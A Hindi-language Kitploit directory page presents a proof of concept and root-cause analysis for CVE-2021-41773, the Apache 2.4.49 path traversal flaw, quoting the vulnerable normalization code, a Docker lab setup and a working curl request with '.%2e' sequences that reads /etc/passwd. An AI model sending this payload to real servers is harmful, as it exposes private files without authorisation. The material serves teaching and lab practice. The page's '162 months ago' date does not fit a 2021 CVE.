Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2021-41773 — CVE-2021-41773 का PoC और विश्लेषण | Kitploit
उपकरण/GitHubGitHub/tr3m0x/cve-2021-41773
भेद्यता विश्लेषणवेब एप्लिकेशन शोषणवेब सुरक्षापेनिट्रेशन टेस्टिंगलर्निंग और शिक्षालैब और अभ्यास
GitHubtr3m0x/cve-2021-41773

CVE-2021-41773

CVE-2021-41773 का PoC और विश्लेषण

रिपॉजिटरी देखें
162 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2021-41773 PoC — Apache HTTP सर्वर पाथ ट्रैवर्सल

अवलोकन

CVE-2021-41773 एक पाथ ट्रैवर्सल भेद्यता है जो Apache HTTP सर्वर 2.4.49 को प्रभावित करती है।

यह भेद्यता एक हमलावर को विशिष्ट कॉन्फ़िगरेशन के तहत इच्छित निर्देशिका के बाहर की फ़ाइलों तक पहुँचने की अनुमति देती है, विशेष रूप से जब निर्देशिकाएँ Alias, ScriptAlias, या अन्य Alias-जैसे निर्देशों के माध्यम से एक्सपोज़ होती हैं।

यह भेद्यता URL पाथ नॉर्मलाइज़ेशन और कैनोनिकलाइज़ेशन के अनुचित संचालन के कारण मौजूद है। Apache ने पाथ के एक ऐसे प्रतिनिधित्व पर सुरक्षा जाँच की जिसमें अभी भी एन्कोडेड वर्ण हो सकते थे, जिससे हमलावर एन्कोडेड डॉट अनुक्रमों का उपयोग करके ट्रैवर्सल डिटेक्शन को बायपास कर सकते थे।


प्रभाव

एक हमलावर एन्कोडेड ट्रैवर्सल अनुक्रमों वाला एक दुर्भावनापूर्ण URL बना सकता है, जैसे:

.%2e

जहाँ:

%2e = .

इसलिए:

.%2e

डिकोडिंग के बाद:

..

बन जाता है।

यदि Apache कैनोनिकल रूप में हल करने से पहले एन्कोडेड प्रतिनिधित्व को सत्यापित करता है, तो ट्रैवर्सल जाँच को बायपास किया जा सकता है।

सफल शोषण एक हमलावर को फ़ाइल सिस्टम से मनमानी फ़ाइलें पढ़ने की अनुमति दे सकता है।

उदाहरण लक्ष्य:

/etc/passwd

संवेदनशील कोड

संवेदनशील लॉजिक इसमें स्थित है:

server/util.c

के अंदर:

ap_normalize_path()

Apache 2.4.49 संवेदनशील कोड:

if (path[l] == '.') {
    /* Remove /./ segments */
    if (IS_SLASH_OR_NUL(path[l + 1])) {
        l++;
        if (path[l]) {
            l++;
        }
        continue;
    }

    /* Remove /xx/../ segments */
    if (path[l + 1] == '.' && IS_SLASH_OR_NUL(path[l + 2])) {
        /* Wind w back to remove the previous segment */
        if (w > 1) {
            do {
                w--;
            } while (w && !IS_SLASH(path[w - 1]));
        }
        else {
            /* Already at root, ignore and return a failure
             * if asked to.
             */
            if (flags & AP_NORMALIZE_NOT_ABOVE_ROOT) {
                ret = 0;
            }
        }

        /* Move l forward to the next segment */
        l += 2;
        if (path[l]) {
            l++;
        }
        continue;
    }
}

मूल कारण विश्लेषण

संवेदनशील कोड निर्देशिका ट्रैवर्सल पैटर्न की पहचान करने का प्रयास करता है:

../

लगातार डॉट्स की जाँच करके:

path[l + 1] == '.'

हालाँकि, एक हमलावर एन्कोडेड ट्रैवर्सल अनुक्रम प्रदान कर सकता है:

/.%2e/

नॉर्मलाइज़ेशन जाँच के समय, Apache प्रोसेस करता है:

.%2e

इसके बजाय:

..

क्योंकि:

%2e != .

ट्रैवर्सल डिटेक्शन लॉजिक अनुक्रम को इस रूप में नहीं पहचानता:

../

पाथ फिर अपने डिकोडेड रूप में व्याख्यायित होता है, जिससे ट्रैवर्सल होने की अनुमति मिलती है।


संवेदनशील प्रोसेसिंग फ़्लो

संवेदनशील व्यवहार को इस प्रकार दर्शाया जा सकता है:

HTTP अनुरोध

      |
      v

पाथ नॉर्मलाइज़ेशन / ट्रैवर्सल सत्यापन

      |
      v

URL डिकोडिंग / कैनोनिकलाइज़ेशन

      |
      v

फ़ाइल सिस्टम एक्सेस

सुरक्षा निर्णय पाथ के अपने अंतिम कैनोनिकल प्रतिनिधित्व तक पहुँचने से पहले लिया जाता है।

एक सुरक्षित दृष्टिकोण यह है:

HTTP अनुरोध

      |
      v

URL डिकोडिंग

      |
      v

पाथ नॉर्मलाइज़ेशन

      |
      v

ट्रैवर्सल सत्यापन

      |
      v

फ़ाइल सिस्टम एक्सेस

सुरक्षा जाँच हमेशा अंतिम नॉर्मलाइज़्ड प्रतिनिधित्व के विरुद्ध की जानी चाहिए।


प्रयोगशाला सेटअप

रिपॉजिटरी क्लोन करें

git clone https://github.com/tr3m0x/CVE-2021-41773.git
cd CVE-2021-41773

संवेदनशील Docker इमेज बनाएँ

docker build -t apache-cve-2021-41773 .

संवेदनशील Apache सर्वर शुरू करें

docker run -d \
--name apache-vulnerable \
-p 8989:80 \
apache-cve-2021-41773

शोषण

एन्कोडेड ट्रैवर्सल अनुक्रम वाला अनुरोध भेजें:

curl --path-as-is \
"http://localhost:8989/icons/.%2e/.%2e/.%2e/.%2e/etc/passwd"

एक सफल शोषण की सामग्री लौटाता है:

/etc/passwd

उदाहरण:

root:x:0:0:root:/root:/bin/bash

HTTP 403 प्रतिक्रियाओं के बारे में नोट

403 Forbidden प्रतिक्रिया का अर्थ यह नहीं है कि शोषण विफल रहा।

परीक्षण के दौरान, Apache सफलतापूर्वक नॉर्मलाइज़ कर सकता है:

/icons/.%2e/.%2e/.%2e/.%2e/etc/passwd

को:

/etc/passwd

में, लेकिन फ़ाइल सिस्टम अनुमतियों या Apache प्राधिकरण नियमों के कारण पहुँच से इनकार कर सकता है।

उदाहरण:

client denied by server configuration: /etc/passwd

यह इंगित करता है कि ट्रैवर्सल सफलतापूर्वक हुआ, लेकिन एक्सेस नियंत्रण ने फ़ाइल प्रकटीकरण को रोक दिया।


मुख्य निष्कर्ष

CVE-2021-41773 कैनोनिकलाइज़ेशन भेद्यता का एक उत्कृष्ट उदाहरण है।

उपयोगकर्ता-नियंत्रित इनपुट के कई प्रतिनिधित्व हो सकते हैं:

.%2e

और:

..

हालाँकि ये अलग दिखते हैं, ये समान पाथ घटक का प्रतिनिधित्व करते हैं।

सुरक्षा जाँच हमेशा डिकोडिंग और नॉर्मलाइज़ेशन के बाद की जानी चाहिए। किसी एन्कोडेड या अस्पष्ट प्रतिनिधित्व को सत्यापित करना सुरक्षा बायपास का कारण बन सकता है।

टूल डाउनलोड करें